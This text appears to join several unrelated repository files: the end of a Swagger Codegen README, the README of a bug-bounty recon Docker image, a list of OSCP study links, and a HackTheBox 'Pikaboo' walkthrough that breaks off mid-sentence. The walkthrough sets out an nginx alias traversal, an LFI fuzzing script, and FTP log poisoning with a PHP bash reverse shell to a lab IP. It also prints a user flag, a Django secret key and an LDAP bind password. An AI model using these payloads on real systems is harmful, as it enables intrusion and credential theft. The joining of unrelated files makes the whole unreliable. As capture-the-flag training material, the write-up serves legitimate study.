@frol (2017/07) @mbohlool (2017/07) | | R | | | Ruby | @cliffano (2017/07) | | Rust | @frol (2017/07) | Scala | @clasnake (2017/07) | | Swift | @jgavris (2017/07) | | TypeScript | @TiFu (2017/07) @taxpon (2017/07) @sebastianhaas (2017/07) @kenisteward (2017/07)| # License information on Generated Code The Swagger Codegen project is intended as a benefit for users of the Swagger / Open API Specification. The project itself has the [License](#license) as specified. In addition, please understand the following points: * The templates included with this project are subject to the [License](#license). * Generated code is intentionally _not_ subject to the parent project license When code is generated from this project, it shall be considered **AS IS** and owned by the user of the software. There are no warranties--expressed or implied--for generated code. You can do what you wish with it, and once generated, the code is your responsibility and subject to the licensing terms that you deem appropriate. License ------- Copyright 2017 SmartBear Software Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at [apache.org/licenses/LICENSE-2.0](http://www.apache.org/licenses/LICENSE-2.0) Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. --- <img src="http://swagger.io/wp-content/uploads/2016/02/logo.jpg"/>
<br /> <p align="center"> <a href="https://hub.docker.com/u/l34r00t"> <img alt="mainRecon for bugbounty hunter" src="img/banner.png" width="600" /> </a> <h3 align="center">mainRecon</h3> </p> <p align="center"> <a href="https://github.com/l34r00t/"><img alt="GitHub code size in bytes" src="https://img.shields.io/github/languages/code-size/l34r00t/mainRecon"></a> <a href="https://github.com/l34r00t/"><img alt="GitHub repo size" src="https://img.shields.io/github/repo-size/l34r00t/mainRecon"></a> <a href="https://github.com/l34r00t/"><img alt="GitHub last commit" src="https://img.shields.io/github/last-commit/l34r00t/mainRecon"></a> <a href="https://github.com/l34r00t/"><img alt="GitHub issues" src="https://img.shields.io/github/issues/l34r00t/mainRecon"></a> <a href="https://hub.docker.com/r/l34r00t/mainrecon"><img alt="Docker Cloud Build Status" src="https://img.shields.io/docker/cloud/build/l34r00t/mainrecon"></a> <a href="https://hub.docker.com/r/l34r00t/mainrecon"><img alt="Docker Automated build" src="https://img.shields.io/docker/cloud/automated/l34r00t/mainrecon"></a> <a href="https://hub.docker.com/r/l34r00t/mainrecon"><img alt="Docker Pulls" src="https://img.shields.io/docker/pulls/l34r00t/mainrecon"></a> <a href="https://hub.docker.com/r/l34r00t/mainrecon"><img alt="Docker Image Size (latest by date)" src="https://img.shields.io/docker/image-size/l34r00t/mainrecon"></a> <a href="https://hub.docker.com/r/l34r00t/mainrecon"><img alt="Docker Image Version (latest by date)" src="https://img.shields.io/docker/v/l34r00t/mainrecon"></a> <a href="https://hub.docker.com/r/l34r00t/mainrecon"><img alt="Docker Stars" src="https://img.shields.io/docker/stars/l34r00t/mainrecon"></a> mainRecon for bugbounty hunter is an image with a bash script with some of the tools used at recon workflow. </p> ## Table of Contents - [Table of Contents](#table-of-contents) - [About mainRecon](#about-mainrecon) - [Features](#features) - [Flow](#flow) - [mainRecon.sh](#mainreconsh) - [Usage](#usage) - [Prerequisites](#prerequisites) - [Option 1 - Use the github repository](#option-1---use-the-github-repository) - [Option 2 - Use the image from docker hub](#option-2---use-the-image-from-docker-hub) - [Considerations to run the container](#considerations-to-run-the-container) - [targets.txt](#targetstxt) - [Create telegram webhook](#create-telegram-webhook) - [mainRecon scan results](#mainrecon-scan-results) - [h1-Recon](#h1-recon) - [mainRecon Alert](#mainrecon-alert) - [Environment tested](#environment-tested) - [Coffee Time](#coffee-time) - [Contributing](#contributing) - [Stargazers over time](#stargazers-over-time) - [Credits](#credits) - [Disclaimer](#disclaimer) - [License](#license) ## About mainRecon mainRecon is an automated reconnaissance docker image for bug bounty hunter write in bash script. This image has the basic tools used in the recon workflow. The purpose is to simplify the recon workflow in a simple way. You can run the docker image in your PC o [VPS](https://www.digitalocean.com/?refcode=b5a9fc36fd95&utm_campaign=Referral_Invite&utm_medium=Referral_Program). ## Features - Subdomain Enumeration - Checks alive subdomain - Finds URLs at Wayback Machine - Screenshots of the subdomains - Headers responses files - Finds js files - Search tokes in js files - Search endpoints in js files - Finds parameters - Finds directories - Telegram notifications ## Flow <p align="center"> <a href="https://hub.docker.com/u/l34r00t"> <img src="img/mainRecon_flow.png" width="600" /> </a> </p> ## mainRecon.sh | **Name** | **Repository** | | ----------------- | ----------------------------------------------------- | | findomain | https://github.com/Edu4rdSHL/findomain | | assetfinder | https://github.com/tomnomnom/assetfinder | | Amass | https://github.com/OWASP/Amass | | subfinder | https://github.com/projectdiscovery/subfinder | | httprobe | https://github.com/tomnomnom/httprobe | | waybackurls | https://github.com/tomnomnom/waybackurls | | aquatone | https://github.com/michenriksen/aquatone | | subjs | https://github.com/lc/subjs | | new-zile | https://github.com/bonino97/new-zile | | LinkFinder | https://github.com/GerbenJavado/LinkFinder | | paramspider | https://github.com/devanshbatham/ParamSpider | | dirsearch | https://github.com/maurosoria/dirsearch | | TelegramBot | https://core.telegram.org/bots | ## Usage ### Prerequisites - [Docker](https://docs.docker.com/get-docker/) service installed You can use the docker image by the next two options: ### Option 1 - Use the github repository If you want to build the container yourself manually, git clone the repo, then build and run the following commands git clone --depth 1 https://github.com/l34r00t/mainRecon.git cd mainRecon If you want Telegram Alert, you must modify the telegram bot_token and telegram chat_ID in mainRecon.sh Also, you can configure access token for run findomain. You must configure the Dockerfile ("ENTER_TOKEN_HERE"). Build your docker container **linux/amd64:** ```docker build -t mainrecon-master .``` **Others (including Apple silicon):** ```docker build --platform=linux/amd64 -t mainrecon .``` After building the container using either way, run the following: **linux/amd64:** ```docker run --rm -it -v /path/to/local/directory:/mainData mainrecon -p [--program] <hackerone> -f [--file] targets.txt``` **Others (including Apple silicon):** ```docker run --platform linux/amd64 --rm -it -v /path/to/local/directory:/mainData mainrecon -p [--program] <hackerone> -f [--file] targets.txt``` ### Option 2 - Use the image from docker hub Use image from docker hub: [l34r00t/mainrecon](https://hub.docker.com/u/l34r00t/mainRecon) docker pull l34r00t/mainrecon docker run --rm -it --env chat_ID="your_chat_ID" --env token="your_token" \ --env findomain_fb_token="fb_token" \ --env findomain_spyse_token="spyse_token" \ --env findomain_virustotal="virustotal_token" \ --env findomain_securitytrails_token="securitytrails_token" \ -v /path/to/local/directory:/mainData --name mainrecon l34r00t/mainrecon -p [--program] <hackerone> -f [--file] targets.txt ### Considerations to run the container There are differents use cases for use the image and you should know how to run the container properly. Share information from your local directory to container directory and save information on your local directory. You should save information under /mainData directory. **linux/amd64:** ```docker run --rm -it -v /path/to/local/directory:/mainData --name mainrecon l34r00t/mainrecon -p [--program] <hackerone> -f [--file] targets.txt``` **Others (including Apple silicon):** ```docker run --platform linux/amd64 --rm -it -v /path/to/local/directory:/mainData --name mainrecon l34r00t/mainrecon -p [--program] <hackerone> -f [--file] targets.txt``` ### targets.txt Your targets.txt should include a list of domains you're checking and should look something like: hackerone.com hackerone-ext-content.com hackerone-user-content.com ### Create telegram webhook Thank you [Edu4rdSHL](https://github.com/Edu4rdSHL/) for you telegram webhook write-up. - [create_telegram_webhook](https://github.com/Edu4rdSHL/findomain/blob/master/docs/create_telegram_webhook.md) ## mainRecon scan results ### h1-Recon In the following repository you will obtain all [h1 recon results](https://github.com/l34r00t/mainRecon-h1-enum) <img alt="mainRecon for bugbounty hunter" src="img/h1-results.png" width="600" /> ### mainRecon Alert <img alt="mainRecon for bugbounty hunter" src="img/h1-recon.png" width="600" /> ## Environment tested The image was tested in the following environments: - Docker service for Mac: Docker version 19.02.7, build afacb8b - Docker service for Ubuntu 19.20 in [Digital Ocean VPS](https://www.digitalocean.com/?refcode=b5a9fc36fd95&utm_campaign=Referral_Invite&utm_medium=Referral_Program): Docker version 18.09.7, build build 2d0083d ## Coffee Time If you like my content, please consider inviting me to a coffee. Thank you for your support! [![Buy me a coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://www.buymeacoffee.com/l34r00t) ## Contributing [Contributing](CONTRIBUTING.md) ## Stargazers over time [![Stargazers over time](https://starchart.cc/l34r00t/mainRecon.svg)](https://starchart.cc/l34r00t/mainRecon) ## Credits mainRecon has been possible thank you to the following projects. - [Edu4rdSHL](https://github.com/Edu4rdSHL) - [tomnomnom](https://github.com/tomnomnom/) - [OWASP](https://github.com/OWASP/) - [michenriksen](https://github.com/michenriksen/) - [bonino97](https://github.com/bonino97/) - [GerbenJavado](https://github.com/GerbenJavado/) - [devanshbatham](https://github.com/devanshbatham/) - [subjs](https://github.com/lc/subjs/) - [maurosoria](https://github.com/maurosoria/) - [Telegram BOT](https://core.telegram.org/bots) - [LazyRecon](https://github.com/capt-meelo/LazyRecon) - [SubEnum](https://github.com/bing0o/SubEnum) - [aaaguirre](https://github.com/aaaguirrep/pentest) ## Disclaimer - mainRecon was written for education purposes only. ## License [MIT](LICENSE) Copyright (c) 2020, L34r00t
# OSCP Links Just a collection of links useful to take OSCP. ### Buffer Overflows - [dostackbufferoverflowgood](https://github.com/justinsteven/dostackbufferoverflowgood/blob/master/dostackbufferoverflowgood_tutorial.md) - [PWK/OSCP - Stack Buffer Overflow Practice](https://www.vortex.id.au/2017/05/pwkoscp-stack-buffer-overflow-practice/) ### Linux Privilege Escalation - [g0tm1k](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [rebootuser](https://www.rebootuser.com/?p=1623) - [Reach the root! How to gain privileges in Linux?](https://hackmag.com/security/reach-the-root/) ### Methodology/Process - [Pentest Checklist](http://www.mateustymbu.xpg.com.br/Bibliography/Pentest_Checklist.pdf) - [0day's Pentest Methodology](http://www.0daysecurity.com/pentest.html) - [OSCP](https://jordanpotti.com/oscp/) - [Luke's Ultimate OSCP Guide: Part 3 -- Practical hacking tips and tricks](https://medium.com/@lodestarluke/haklukes-ultimate-oscp-guide-part-3-practical-hacking-tips-and-tricks-c38486f5fc97) - [Total OSCP Guide](https://sushant747.gitbooks.io/total-oscp-guide) ### Official Guides/FAQs/Forums - [OSCP Certification Exam Guide](https://support.offensive-security.com/#!oscp-exam-guide.md) - [Offsec Forum](https://forums.offensive-security.com). *You need to purchase the course to get access, but of course here's where you'll find the best information.* ### Others - [So you failed your OSCP](https://tulpa-security.com/2016/09/12/so-you-failed-your-oscp/) ### Practice, practice, practice - [HackTheBox](https://hackthebox.eu) - [Vulnhub](https://vulnhub.com/) ### Preparation - [Prep Guide for Offsec's PWK](https://tulpa-security.com/2016/09/19/prep-guide-for-offsecs-pwk/) - [How to Prepare for PWK/OSCP, a Noob-friendly Guide](https://www.abatchy.com/2017/03/how-to-prepare-for-pwkoscp-noob) - [OSCP Preparation - Stalking my Penetration testing Passion](https://barasec.wordpress.com/2017/11/26/oscp-preparation-stalking-my-penetration-testing-passion/) ### Reviews - [Offensive Security OSCP certification](https://fabbricabinaria.it/home/blog/11-news/64-offensive-security-oscp-certification) - [Review: OSCP and PWK](https://tulpa-security.com/2016/09/11/review-oscp-and-pwk/) - [My Experience with the OSCP](https://naterobb.blogspot.com/) - [Offensive Security's PWB and OSCP -- My Experience](https://www.securitysift.com/offsec-pwb-oscp/) - [OSCP - Jollyfrog's Tale](http://www.techexams.net/forums/security-certifications/110760-oscp-jollyfrogs-tale.html) - [Offensive Security's PWK & OSCP Review](https://jhalon.github.io/OSCP-Review/) - [OSCP - Penetration Testing With Kali - Overview](https://jordanpotti.com/2016/11/28/oscp-penetration-testing-with-kali-course-overview/) - [Road to OSCP](https://www.reddit.com/r/hacking/comments/7nkmfc/road_to_oscp/) - [My OSCP Journey](https://infosecuritygeek.com/my-oscp-journey/) - [My OSCP Experience](https://coffeegist.com/security/my-oscp-experience/) - [I am finally an OSCP](https://www.lewisecurity.com/i-am-finally-an-oscp/)
# Pikaboo - HackTheBox - Writeup Linux, 40 Base Points, Hard ## Machine ![‏‏Pikaboo.JPG](images/Pikaboo.JPG) ## TL;DR To solve this machine, we begin by enumerating open services using ```namp``` – finding ports ```21```, ```22``` and ```80```. ***User***: By browsing to [http://pikaboo.htb/admin](http://pikaboo.htb/admin) we get 401 Unauthorized, Using ```gobuster``` we found another web page (Also returned 401 Unauthorized) [http://pikaboo.htb/admin/server-status](http://pikaboo.htb/admin/server-status), Using [Path traversal via misconfigured NGINX alias](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/) we bypass the authorization by browsing to [http://pikaboo.htb/admin../server-status](http://pikaboo.htb/admin../server-status), From [http://pikaboo.htb/admin/server-status](http://pikaboo.htb/server-status) page we found another web page [http://pikaboo.htb/admin/server-status](http://pikaboo.htb/admin/admin_staging) which we can access to this web page like before [http://pikaboo.htb/admin../admin_staging](http://pikaboo.htb/admin../admin_staging), Found [LFI](https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/) on that page, Reading ```/var/log/vsftpd.log``` file by accessing to [http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log](http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log), [poisoning the log file](https://shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16d) and we get a shell as ```www-data```. ***Root***: By reading the file ```/opt/pokeapi/config/settings.py``` we found ```ftp``` credentials, Founding intresting files on ```/usr/local/bin``` directory: ```csvupdate``` and ```csvupdate_cron```, Using perl [open() for Command Execution](https://www.shlomifish.org/lecture/Perl/Newbies/lecture4/processes/opens.html) to get a shell as ```root```. ![pwn.JPG](images/pwn.JPG) ## Pikaboo Solution ### User Let's start with ```nmap``` scanning: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ nmap -sV -sC -oA nmap/Pikaboo 10.10.10.249 Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-25 00:21 IDT Nmap scan report for 10.10.10.249 Host is up (0.084s latency). Not shown: 961 closed ports, 36 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA) | 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA) |_ 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Pikaboo Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel ``` By observing port 80 we get the following web page (Redirected to [http://forge.htb/](http://forge.htb/)): ![port80.JPG](images/port80.JPG) Where [pokatdex](http://10.10.10.249/pokatdex.php) page contains: ![pokatdex.JPG](images/pokatdex.JPG) And by clicking on [Admin](http://10.10.10.249/admin) we get: ![admin.JPG](images/admin.JPG) By trying ```admin:admin``` we get 401 Unauthorized error. By requesting to ```/admin``` page using [Burp Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater/using) we get the following response: ```HTML HTTP/1.1 401 Unauthorized Server: nginx/1.14.2 Date: Fri, 24 Sep 2021 23:06:49 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 456 Connection: close WWW-Authenticate: Basic realm="Authentication Required" ... ``` We can see the server is ```nginx/1.14.2```. On ```nginx``` we can get [Path traversal via misconfigured NGINX alias](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/), The incorrect configuration of the alias could allow an attacker to read a file stored outside the target folder. By reading the following reference [https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf](https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf) we can bypass the ```/admin``` page by the following logic: ![bypass.JPG](images/bypass.JPG) We need to find web pages that we can try to access them using this vuln, Let's find them using ```gobuster```: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ gobuster dir -u http://pikaboo.htb/admin../ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 100 -k --wildcard -s 401,403,200 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://pikaboo.htb/admin../ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/09/25 02:04:13 Starting gobuster in directory enumeration mode =============================================================== /admin (Status: 401) [Size: 456] /javascript (Status: 301) [Size: 314] [--> http://127.0.0.1:81/javascript/] /server-status (Status: 200) [Size: 5857] ... ``` As we can see, We found the page ```/server-status``` with status ```200```, Let's try [http://10.10.10.249/admin../server-status](http://10.10.10.249/admin../server-status): ![server-status](images/server-status.JPG) We found another page ```/admin_staging``` but if we are trying to browse to the website [http://10.10.10.249/admin../admin_staging](http://10.10.10.249/admin../admin_staging) we are redirected to [http://127.0.0.1:81/admin_staging/](http://127.0.0.1:81/admin_staging/) that's because we are trying to access the web page which is likely to only be localhost, But if we add ```/``` at the end we can access it [http://10.10.10.249/admin../admin_staging/](http://10.10.10.249/admin../admin_staging/) we get the web page: ![admin_staging.JPG](images/admin_staging.JPG) As we can see, The URL is [http://10.10.10.249/admin../admin_staging/index.php?page=dashboard.php](http://10.10.10.249/admin../admin_staging/index.php?page=dashboard.php), Let's try [LFI attack](https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/). To do that, we can use the following python script: ```python import urllib.request import sys import multiprocessing lfi_path='../' wordlist=sys.argv[1] base_url=sys.argv[2] depth=int(sys.argv[3]) def path_handle(path): path=path.strip() current_path="" for i in range(depth): current_url=base_url+current_path+path response = urllib.request.urlopen(current_url) print(current_url+","+str(response.getcode())+","+str(len(response.read()))) current_path+=lfi_path current_path=current_path[:-1] with open(wordlist,'r') as f: pool_obj = multiprocessing.Pool(10) pool_obj.map(path_handle,f.readlines() ``` Run it: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ python3 lfi.py ./LFI-gracefulsecurity-linux.txt http://10.10.10.249/admin../admin_staging/index.php?page= 8 > out ``` Now, By looking for response length that isn't equal to ```15349``` we get: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ cat out | grep -v 15349 http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log,200,19803 ... ``` Let's browse this link [http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log](http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log): ![vsftpd.JPG](images/vsftpd.JPG) By replacing ```Thu``` with ```\r\nThu``` we get: ```console Thu Jul 8 17:17:47 2021 [pid 14106] CONNECT: Client "::ffff:10.10.14.6" Thu Jul 8 17:17:47 2021 [pid 14106] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:17:49 2021 [pid 14106] FTP command: Client "::ffff:10.10.14.6", "USER anonymous" Thu Jul 8 17:17:49 2021 [pid 14106] [anonymous] FTP response: Client "::ffff:10.10.14.6", "331 Please specify the password." Thu Jul 8 17:17:49 2021 [pid 14106] [anonymous] FTP command: Client "::ffff:10.10.14.6", "PASS " Thu Jul 8 17:17:49 2021 [pid 14105] [anonymous] FAIL LOGIN: Client "::ffff:10.10.14.6" Thu Jul 8 17:17:50 2021 [pid 14106] [anonymous] FTP response: Client "::ffff:10.10.14.6", "530 Login incorrect." Thu Jul 8 17:17:50 2021 [pid 14106] FTP command: Client "::ffff:10.10.14.6", "SYST" Thu Jul 8 17:17:50 2021 [pid 14106] FTP response: Client "::ffff:10.10.14.6", "530 Please login with USER and PASS." Thu Jul 8 17:18:25 2021 [pid 14106] FTP command: Client "::ffff:10.10.14.6", "QUIT" Thu Jul 8 17:18:25 2021 [pid 14106] FTP response: Client "::ffff:10.10.14.6", "221 Goodbye." Thu Jul 8 17:18:26 2021 [pid 14650] CONNECT: Client "::ffff:10.10.14.6" Thu Jul 8 17:18:26 2021 [pid 14650] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:18:29 2021 [pid 14650] FTP command: Client "::ffff:10.10.14.6", "USER 0xdf" Thu Jul 8 17:18:31 2021 [pid 14650] FTP command: Client "::ffff:10.10.14.6", "SYST" Thu Jul 8 17:18:31 2021 [pid 14650] FTP response: Client "::ffff:10.10.14.6", "530 Please login with USER and PASS." Thu Jul 8 17:18:50 2021 [pid 14650] FTP command: Client "::ffff:10.10.14.6", "QUIT" Thu Jul 8 17:18:50 2021 [pid 14650] FTP response: Client "::ffff:10.10.14.6", "221 Goodbye." Thu Jul 8 17:18:51 2021 [pid 14652] CONNECT: Client "::ffff:10.10.14.6" Thu Jul 8 17:18:51 2021 [pid 14652] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:19:05 2021 [pid 14652] FTP command: Client "::ffff:10.10.14.6", "SYST" Thu Jul 8 17:19:05 2021 [pid 14652] FTP response: Client "::ffff:10.10.14.6", "530 Please login with USER and PASS." Thu Jul 8 17:28:56 2021 [pid 19919] CONNECT: Client "::ffff:10.10.14.14" Thu Jul 8 17:28:56 2021 [pid 19919] FTP response: Client "::ffff:10.10.14.14", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:30:37 2021 [pid 21009] CONNECT: Client "::ffff:10.10.14.6" Thu Jul 8 17:30:37 2021 [pid 21009] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:30:42 2021 [pid 21009] FTP command: Client "::ffff:10.10.14.6", "USER pwnmeow" Thu Jul 8 17:30:42 2021 [pid 21009] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "331 Please specify the password." Thu Jul 8 17:30:44 2021 [pid 21009] [pwnmeow] FTP command: Client "::ffff:10.10.14.6", "PASS " Thu Jul 8 17:30:44 2021 [pid 21008] [pwnmeow] FAIL LOGIN: Client "::ffff:10.10.14.6" Thu Jul 8 17:30:45 2021 [pid 21009] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "530 Login incorrect." Thu Jul 8 17:30:45 2021 [pid 21009] FTP command: Client "::ffff:10.10.14.6", "SYST" Thu Jul 8 17:30:45 2021 [pid 21009] FTP response: Client "::ffff:10.10.14.6", "530 Please login with USER and PASS." Thu Jul 8 17:30:49 2021 [pid 21009] FTP command: Client "::ffff:10.10.14.6", "QUIT" Thu Jul 8 17:30:49 2021 [pid 21009] FTP response: Client "::ffff:10.10.14.6", "221 Goodbye." Thu Jul 8 17:30:50 2021 [pid 21011] CONNECT: Client "::ffff:10.10.14.6" Thu Jul 8 17:30:50 2021 [pid 21011] FTP response: Client "::ffff:10.10.14.6", "220 (vsFTPd 3.0.3)" Thu Jul 8 17:30:53 2021 [pid 21011] FTP command: Client "::ffff:10.10.14.6", "USER pwnmeow" Thu Jul 8 17:30:53 2021 [pid 21011] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "331 Please specify the password." Thu Jul 8 17:31:01 2021 [pid 21011] [pwnmeow] FTP command: Client "::ffff:10.10.14.6", "PASS " Thu Jul 8 17:31:01 2021 [pid 21010] [pwnmeow] OK LOGIN: Client "::ffff:10.10.14.6" Thu Jul 8 17:31:01 2021 [pid 21035] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "230 Login successful." Thu Jul 8 17:31:01 2021 [pid 21035] [pwnmeow] FTP command: Client "::ffff:10.10.14.6", "SYST" Thu Jul 8 17:31:01 2021 [pid 21035] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "215 UNIX Type: L8" Thu Jul 8 17:31:03 2021 [pid 21035] [pwnmeow] FTP command: Client "::ffff:10.10.14.6", "QUIT" Thu Jul 8 17:31:03 2021 [pid 21035] [pwnmeow] FTP response: Client "::ffff:10.10.14.6", "221 Goodbye." ``` So we have the capability to read the ```vsftpd``` log file, And we have also the capability to write to this log file (using ```ftp``` login), So let's [poisoning the log file](https://shahjerry33.medium.com/rce-via-lfi-log-poisoning-the-death-potion-c0831cebc16d). Let's try to write: ```php <?php print("evyatar"); ?> ``` As ```ftp``` username: ```console ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ ftp pikaboo.htb Connected to pikaboo.htb. 220 (vsFTPd 3.0.3) Name (pikaboo.htb:user): <?php print("evyatar"); ?> 331 Please specify the password. Password: 530 Login incorrect. Login failed. ftp> ``` Now, Let's read again the log file using LFI: ```console .... Sat Sep 25 21:18:38 2021 [pid 14150] CONNECT: Client "::ffff:10.10.16.9" Sat Sep 25 21:18:38 2021 [pid 14150] FTP response: Client "::ffff:10.10.16.9", "220 (vsFTPd 3.0.3)" Sat Sep 25 21:18:39 2021 [pid 14150] FTP command: Client "::ffff:10.10.16.9", "USER evyatar" Sat Sep 25 21:18:39 2021 [pid 14150] [evyatar] FTP response: Client "::ffff:10.10.16.9", "331 Please specify the password." Sat Sep 25 21:18:40 2021 [pid 14150] [evyatar] FTP command: Client "::ffff:10.10.16.9", "PASS <password>" Sat Sep 25 21:18:40 2021 [pid 14149] [evyatar] FAIL LOGIN: Client "::ffff:10.10.16.9" Sat Sep 25 21:18:41 2021 [pid 14150] [evyatar] FTP response: Client "::ffff:10.10.16.9", "530 Login incorrect." Sat Sep 25 21:18:41 2021 [pid 14150] FTP command: Client "::ffff:10.10.16.9", "SYST" Sat Sep 25 21:18:41 2021 [pid 14150] FTP response: Client "::ffff:10.10.16.9", "530 Please login with USER and PASS." ``` We can see our string ```evyatar```. The method is known as log poisoning, as the ```PHP``` engine renders ```<?php ?>```, The next step is to get a reverse shell using that method, using that log file just like the above: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ ftp pikaboo.htb Connected to pikaboo.htb. 220 (vsFTPd 3.0.3) Name (pikaboo.htb:user): <?php exec( "/bin/bash -c 'bash -i > /dev/tcp/10.10.14.14/4444 0>&1'") ; ?> 331 Please specify the password. Password: 530 Login incorrect. Login failed. ftp> ``` Start ```nc``` listener and read the log file again using LFI and we get a shell: ```console ┌─[evyatar@parrot]─[/hackthebox/Pikaboo] └──╼ $ nc -lvp 4444 listening on [any] 4444 ... connect to [10.10.16.9] from pikaboo.htb [10.10.10.249] 57486 python -c 'import pty; pty.spawn("/bin/sh")' $whoami www-data $cd /home/pwnmeow $cat user.txt 9800ae11b668a1b10881248b1530d29d ``` And we get the user flag ```9800ae11b668a1b10881248b1530d29d```. ### Root By enumerating on ```/opt/pokeapi``` we found an interesting file ```/opt/pokeapi/config/settings.py```: ```python $ cat /opt/pokeapi/config/settings.py cat /opt/pokeapi/config/settings.py # Production settings import os from unipath import Path PROJECT_ROOT = Path(__file__).ancestor(2) DEBUG = False TEMPLATE_DEBUG = DEBUG ADMINS = (("Paul Hallett", "[email protected]"),) EMAIL_BACKEND = "django.core.mail.backends.console.EmailBackend" MANAGERS = ADMINS BASE_URL = "http://pokeapi.co" # Hosts/domain names that are valid for this site; required if DEBUG is False # See https://docs.djangoproject.com/en/1.5/ref/settings/#allowed-hosts #ALLOWED_HOSTS = [".pokeapi.co", "localhost", "127.0.0.1"] ALLOWED_HOSTS = ["*"] TIME_ZONE = "Europe/London" LANGUAGE_CODE = "en-gb" SITE_ID = 1 # If you set this to False, Django will make some optimizations so as not # to load the internationalization machinery. USE_I18N = True # If you set this to False, Django will not format dates, numbers and # calendars according to the current locale. USE_L10N = True # If you set this to False, Django will not use timezone-aware datetimes. USE_TZ = True # Explicitly define test runner to avoid warning messages on test execution TEST_RUNNER = "django.test.runner.DiscoverRunner" SECRET_KEY = "4nksdock439320df*(^x2_scm-o$*py3e@-awu-n^hipkm%2l$sw$&2l#" MIDDLEWARE = [ "corsheaders.middleware.CorsMiddleware", "django.middleware.common.CommonMiddleware", "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.csrf.CsrfViewMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware", "django.contrib.messages.middleware.MessageMiddleware", "django.middleware.clickjacking.XFrameOptionsMiddleware", ] ROOT_URLCONF = "config.urls" WSGI_APPLICATION = "config.wsgi.application" DATABASES = { "ldap": { "ENGINE": "ldapdb.backends.ldap", "NAME": "ldap:///", "USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb", "PASSWORD": "J~42%W?PFHl]g", }, "default": { "ENGINE": "django.db.backends.sqlite3", "NAME": "/opt/pokeapi/db.sqlite3", } } CACHES = { "default": { "BACKEND": "django_redis.cache.RedisCache", "LOCATION": "redis://127.0.0.1:6379/1", "OPTIONS": { "CLIENT_CLASS": "django_redis.client.DefaultClient", }, } } SECRET_KEY = os.environ.get( "SECRET_KEY", "ubx+22!jbo(^x2_scm-o$*py3e@-awu-n^hipkm%2l$sw$&2l#" ) CUSTOM_APPS = ( "tastypie", "pokemon_v2", ) INSTALLED_APPS = ( "django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.sites", "django.contrib.admin", "django.contrib.humanize", "corsheaders", "rest_framework", "cachalot", ) + CUSTOM_APPS API_LIMIT_PER_PAGE = 1 TASTYPIE_DEFAULT_FORMATS = ["json"] CORS_ORIGIN_ALLOW_ALL = True CORS_ALLOW_METHODS = "GET" CORS_URLS_REGEX = r"^/api/.*$" REST_FRAMEWORK = { "DEFAULT_RENDERER_CLASSES": ("drf_ujson.renderers.UJSONRenderer",), "DEFAULT_PARSER_CLASSES": ("drf_ujson.renderers.UJSONRenderer",), "DEFAULT_PAGINATION_CLASS": "rest_framework.pagination.LimitOffsetPagination", "PAGE_SIZE": 20, "PAGINATE_BY": 20, } ``` The 